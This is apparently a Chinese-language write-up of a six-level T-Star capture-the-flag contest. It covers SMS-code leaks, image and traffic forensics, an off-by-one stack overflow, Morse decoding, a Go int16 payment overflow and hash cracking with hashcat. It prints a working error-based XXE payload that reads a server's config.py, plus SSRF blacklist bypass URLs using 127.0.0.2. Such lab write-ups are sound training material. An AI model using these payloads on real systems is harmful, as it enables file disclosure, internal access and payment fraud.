关卡一
[题目考点]:
- 短信验证码绕过
- XXE
[闯关Flag]:
welcome.good/start!
[解题思路]:
- 进入http://175.178.148.197:5000/ 要求手机验证码登录,但实际收不到验证码也无法注册,可在浏览器直接按F12后抓包,请求登录验证码会直接在响应中返回:
2. 登录后发现除了视频播放,只有一个点赞功能,随便打开一个直播页面点赞,使用burpsuite抓包,尝试常见漏洞可发现该接口存在XXE漏洞,修改请求头中:
Content-Type: application/xml;charset=UTF-8
修改请求数据为:
<!DOCTYPE message [
<!ENTITY % aaa '
<!ENTITY % file SYSTEM "file:///proc/self/cwd/config.py">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///aaa%file;'>">
%eval;
%error;
'>
�a;
]>
通过 /proc/self/cwd 跳到当前目录,读取的config.py/app.py都是flask常见主文件,返回:
HTTP/1.1 200 OK
Server: gunicorn/19.10.0
Date: Wed, 06 Apr 2022 11:01:21 GMT
Connection: close
Content-Type: text/xml; charset=utf-8
Content-Length: 80
Access-Control-Allow-Origin: http://127.0.0.1:5000
Access-Control-Allow-Headers: *
Access-Control-Allow-Methods: http://127.0.0.1:5000
Access-Control-Allow-Credentials: true
Vary: Cookie
Invalid URI: file:///aaa# T-STAR{welcome.good/start!}
dsn = , line 4, column 15
关卡二
[串联过程]
- http://175.178.148.197:5000/
- 结合直播页面TIPS及主播ID可搜到其微博,进入第二关;
[闯关Flag]:
shenzhen或深圳
[解题思路]:
1、直播间有提示关注主播微博:
2、可在新浪微博搜到同名博主,有两张看张相同的图:
3、下载原图进行像素相比(Compare & find Differences in two Image Files Online Tool | TextCompare),可发现一处不同:
4、图片上有提示N为北纬,左下为零点,分辨率是180*180,可猜出差异像素点代表坐标是北纬22度,东经114度的城市深圳。
5、由于腾讯总部在深圳,此题也可尝试盲猜。
关卡三
[串联过程]
- 通过链接可以下载流量包;
- 从流量包中提取关键数据,提取的关键数据包括一个APK文件和crytop压缩包;
- 解题crytop和APK后得到一个源码地址链接;
- 通过地址下载源码压缩;
- 解题源码压缩包后得到最终通关flag
[题目考点]:
- 流量分析
- Android backup
- 密码学,像素,二维码
- 源码分析栈溢出
[闯关Flag]:
992e63080ee1e47b99f42b8d64ede953
[解题思路]:
- 获取的数据报文经过wireshark分析主要包含两部分,一部分是Android backup文件,还有一部分是adb shell的操作命令,通过分析命令可以知道backup文件解密密码yun202203。
- 从数据报文中提取Android backup文件保存为androidbackup,使用abe工具对其解密,密码为yun202203后可以得到apk文件和.d.zip文件
java -jar abe.jar unpack androidbackup androidbackup.tar This backup is encrypted, please provide the password Password:yun202203 |
---|
3. apk包含IP地址175.178.148.197,.d.zip里面包含以下文件,flag.zip需要密码才能打开。根据题目提供私钥和密文,RSA解密key.en得到明文flag.zip的密码flag.de
$ openssl rsautl -decrypt -in key.en -inkey private_key.pem -out flag.de |
---|
flag.zip的密码
cat flag.de9BlteBJnZpwrRjbL0DsGlFz5M MDG74jYIj0zzivGPVW75jYZQpdzpfrpEBcXAJqHrlZlEw9hMhRQ8FijkATyMxpKsPXEWT5K6M5 |
---|
4. 用密码打开flag.zip后得到flag文件,内容为:
1111111010010101010110111111110000010100011000111101000001101110100110100101000010111011011101010000110001000101110110111010110100100101101011101100000100100111011001010000011111111010101010101010111111100000000001111001000000000000110011010000110101010011011110001110110101101011000011110000110100101110010010111111000100001101000011010000100000100100101101001011010010101111010011110100111101001110000011110100101101001011010010001110011101101111011001110000001001010101001100011001001001001110111111111111011101101001010111001101110111001001110111000001111100011001000010100110110011111011010100111110010001100100011110011001100000000001001010101101010111001111111010110001101000101001010000011100111110010001000100101110101010011111111110111101011101000000010000000000111010111011110001010110111001110100000101110011101101110011101111111 |
---|
5. 把01转成像素得到二维码
代码语言:javascript复制from PIL import Image
import numpy as np
from PIL import Image
import numpy as np
li = "1111111010010101010110111111110000010100011000111101000001101110100110100101000010111011011101010000110001000101110110111010110100100101101011101100000100100111011001010000011111111010101010101010111111100000000001111001000000000000110011010000110101010011011110001110110101101011000011110000110100101110010010111111000100001101000011010000100000100100101101001011010010101111010011110100111101001110000011110100101101001011010010001110011101101111011001110000001001010101001100011001001001001110111111111111011101101001010111001101110111001001110111000001111100011001000010100110110011111011010100111110010001100100011110011001100000000001001010101101010111001111111010110001101000101001010000011100111110010001000100101110101010011111111110111101011101000000010000000000111010111011110001010110111001110100000101110011101101110011101111111"
table = np.zeros((29, 29), dtype=int)
for row in range(29):
for col in range(29):
if li[row * 29 col] == '1':
table[row][col] = 1
else:
table[row][col] = 0
print(table)
a = [[0 if b == 0 else 255 for b in row] for row in table]
qrcode = Image.fromarray(np.uint8(np.array(a)))
qrcode.show()
5. 扫描二维码得到内容为/033yia8rqea1921ca61/systemlockdown,结合APK的IP地址,可以从175.178.148.197/033yia8rqea1921ca61/systemlockdown中获取到门禁系统的源码。
6. 门禁密码源码解题思路如下:
(1) 该题考察栈溢出的利用。
虽然题目到处在说输入6位密码,但因为SYSTEM_SHUTDOWN被设置,输入6位密码根本不会设置passed/checksum123字段,因此是不可能通过检查的。
注意到password是一个6字节的数组,而循环for (i = 0; i <= 6; i ) 中i实际上循环了7次。因此第七次循环时,它会覆盖栈上下一个字节。
被结构体包裹的char key_data恰巧就是这个字节,因此可以输入7位数字来覆盖key_data。
key_data随后会被强转成door_key结构体。此结构体是由比特表示各字段的。
注意到字符‘5‘(ASCII = 0x35)的二进制表示是00110101,存放在该结构体后分别是:
passed = 1 / checksum = 01 / checksum2 = 01 / checksum3 = 001
恰好可以满足最终的检测。而其他数字输入('0'~'9')都不满足此条件。
(2) 注意代码要求密码的每一位都是一样的数字。
因此,答案应为5555555。其他答案均不能通过检查。
提交Flag:md5(5555555) = 992e63080ee1e47b99f42b8d64ede953
关卡四
[题目考点]:
- 二维码补充
- strings命令
- zip文件格式
- 摩尔斯电码音频识别
[闯关Flag]:
https://darknet.hacker5t2ohub.com
[解题思路]:
1. 解压题目压缩包,打开残缺的二维码,将二维码补全后扫描得到call_me.zip加密压缩包
或者是不用补全 使用strings命令也可得到下载链接 https://public.huoxian.cn/ctf/call_me.zip
2. 题目压缩包中剩余的是一个残缺的压缩包,打开发现是压缩文件损坏,根据包名,《我真的是个压缩包》,可以联想到常见的文件格式识别,可以使用010editor等二进制查看工具,对于正常的zip压缩包文件头 格式应该是50 4B 03 04 此时打开发现是50 4A 03 04,修改4A为4B即可
3. 打开压缩包后,听一下音频发现是一段电报声,可以想到摩尔斯电码 查看音频
Morse Code Audio Decoder | Morse Code World 用线上解码工具还原即可得到一串11位数字19910386797,用该数字打开call_me.zip即可得到FLAG:
https://darknet.hacker5t2ohub.com/
关卡五
[串联过程]
- 利用商城网站上存在的支付漏洞,购买高价值商品;
- 成功购买“付费咨询”商品后,得到hash文件;
- 通过技术解法或推理解法,得到最终flag
[题目考点]:
1. 整数溢出
2. Hash解密
[闯关Flag]:
ski931iwasjudqwkashajdsakdhadjshakdhsahkd
[解题思路]:
参赛者登陆后账户被随机分配了BTC余额,但总额少的可怜。充值是不可能充值的,这时,就需要T-Star们开动脑筋,展开破解了!
步骤一:利用支付逻辑漏洞,购买高价值商品
仔细观察会发现,页面商品等价格各不相同,再看题目描述——
据说只要有「足够」的钱,你能买到任何需要的信息。
不难联想到可以利用支付逻辑漏洞破解。商品的计算逻辑是:商品数量 * 商品单价。按此思路向下挖掘,发现商品数量有隐性限制,数量必须 0 < x < 35
这题需要会一点Go,通过查阅Go官方文档,可知int16对应的整数范围是:
代码语言:javascript复制int8 : -128 to 127
int16 : -32768 to 32767
那么纵观所有商品列表,只有付费咨询符合溢出的条件。
代码语言:javascript复制1000 * 33 / 1000 * 34 > 32767
输入商品数量 33,触发整数溢出,购买成功!不仅购买到解题线索,也实现了匿名集市的财富自由。
步骤二:从TSRC公众号得到邮箱账号密码
找到邮件
从邮件内容得知,NightBaron在发起勒索蠕虫病毒攻击之后,将加密文件的密钥进行Hash处理之后,分别交由不同的人保管了。打开全部三封邮件后,可以获得完整的Hash:
part 1: https://pastebin.com/QZ7QBmmd
part 2: https://pastebin.com/TUNVRVvk
part 3:Hashes-Part3 - Pastebin.com
这里分别使用了MD5、SHA512、SHA1、SHA256、SHA384进行Hash处理,全部破解之后即可得到Key。这里有两个解题思路,一种是技术型解题,一种是推理型解法。
方法一:技术解法
使用字典或者穷举爆破,当然纯爆破会很慢,建议使用爆破结合搜索的方式解答。使用低端显卡或者核显,一般在一个小时之内可以爆出来一大半,结合谷歌,很快就能找到原文。出题过程中我们也花了很多时间在调整优化破解难度上。
使用hashcat进行暴力破解,以暴力破解6位未知字符,加密类型为MD5的hashcat命令为例:
代码语言:javascript复制hashcat -m 0 -a 3 hashs_md5.txt ?a?a?a?a?a?a
很快会解出一大部分Hash,得到部分Key的内容。
搜索破解出来的单词,可以发现Key这是来自于凯文米特尼克的《欺骗的艺术》书中的原文:
邮件内容中也提到了“凯文米特尼克”和“人的因素是安全过程中最薄弱的环节”,这句话也是出自于这本书,也提醒了最终答案和这本书有关。通过破解出来的单词最终能定位到最后的答案是这整段内容:
Security is too often merely an illusion, an illusion sometimes made even worse when gullibility, naivete, or ignorance come into play. The world's most respected scientist of the twentieth century, Albert Einstein, is quoted as saying, "Only two things are infinite, the universe and human stupidity, and I'm not sure about the former." In the end, social engineering attacks can succeed when people are stupid or, more commonly, simply ignorant about good security practices. With the same attitude as our security-conscious homeowner, many information technology (IT) professionals hold to the misconception that they've made their companies largely immune to attack because they've deployed standard security products - firewalls, intrusion detection systems, or stronger authentication devices such as time-based tokens or biometric smart cards. Anyone who thinks that security products alone offer true security is settling for. the illusion of security. It's a case of living in a world of fantasy: They will inevitably, later if not sooner, suffer a security incident.
最终拿着key去勒索网站(http://159.75.190.64/)提交,成功的解密出被病毒加密的文件:
方法二:推理解法
回看邮件内容,文字中提到“此份邮件非常重要”,说明其中隐藏了很关键的信息,结合加粗、标红的文字内容,邮件里提到此份邮件非常重要,说明解题者需要多仔细阅读邮件,最终能发现以下几点重要信息:
书页中的章节和段落就像时钟的时针和分针一样、1点8分、米特尼克、人的因素是安全过程中最薄弱的环节,最终能定位到答案是来自于米特尼克的《欺骗的艺术》中第一章的第8段。
复制英文整段原文提交即可获取Flag,题目后端对空格等标点符号也进行了一定的兼容。
勒索蠕虫病毒是业内出现比较多的一种安全事件类型,攻击者通常在入侵之后使用RSA等非对称加密算法对受害者主机上的文件进行加密,并勒索比特币。对于这种强加密的密码学算法,在拿不到密钥的情况下几乎不可能破解。除此之外还包括一些“内鬼”作恶或者误操作对生产数据删库的案例,都涉及到数据安全的领域。
面对无法预料甚至未知手法的攻击时,能够预测、承受、恢复和适应的能力是非常重要的,所以对于防范“删库”、“文件加密勒索”来说,除了防止恶意删除、防入侵之外,被破坏之后的数据恢复能力也是必须要具备的一种能力和机制。
关卡六
[串联过程]
- 根据链接地址下载后得到文档;
- 解题文档后得到一个web链接地址;
- 访问web地址后开始解题,解题结果为最终flag
[题目考点]:
1. Word文字/书签隐藏
2. 简单JPG图片隐写
3. web ssrf漏洞
[闯关Flag]:
ThereAreNoBoundaries
[解题思路]:
- 该文件是word文件,修改后缀为.docx可以用word打开。打开word后看到有三个线索,通过显示隐藏文字(全选文字,右键-》字体-》隐藏)可以看到一个线索Flag2(772e91/webs)和另一个线索一张图片。
2. 另一个线索应该是藏在图片里,解压Guess.docx,获取media里的原始图片image1.jpg,再结合题目Guess,猜测算法是outguess,其中密码是文档里提示的123456,可以获取线索(/062ycz7s9458b):
3. 现在还差一个线索,其隐藏在书签里:选择文字,插入书签,可以看到一串字符GE3TKLRRG44C4MJUHAXDCOJX,该字符是base32,解码后:175.178.148.197
综合以上三个线索,组合得到175.178.148.197/062ycz7s9458b772e91/webs,为web题目链接。
4. 开始作答web题目
打开链接会直there is a flag in `url`,根据代码发现有一个url参数可用于curl访问链接
直接拼接index.php?url=xxx参数访问:
175.178.148.197/062ycz7s9458b772e91/webs/index.php?url=http://175.178.148.197/062ycz7s9458b772e91/webs/flag.php会返回限本地IP请求,源码中通过黑名单限制了常规的域名/IP/跨协议的SSRF攻击方法
可利用浏览器与CURL解析URL的差异绕过限制,也可以通过127.0.0.2、IPV6地址等方式绕过,如访问175.178.148.197/062ycz7s9458b772e91/webs/index.php?url=http://127.0.0.2/062ycz7s9458b772e91/webs/flag.php 得到flag为ThereAreNoBoundaries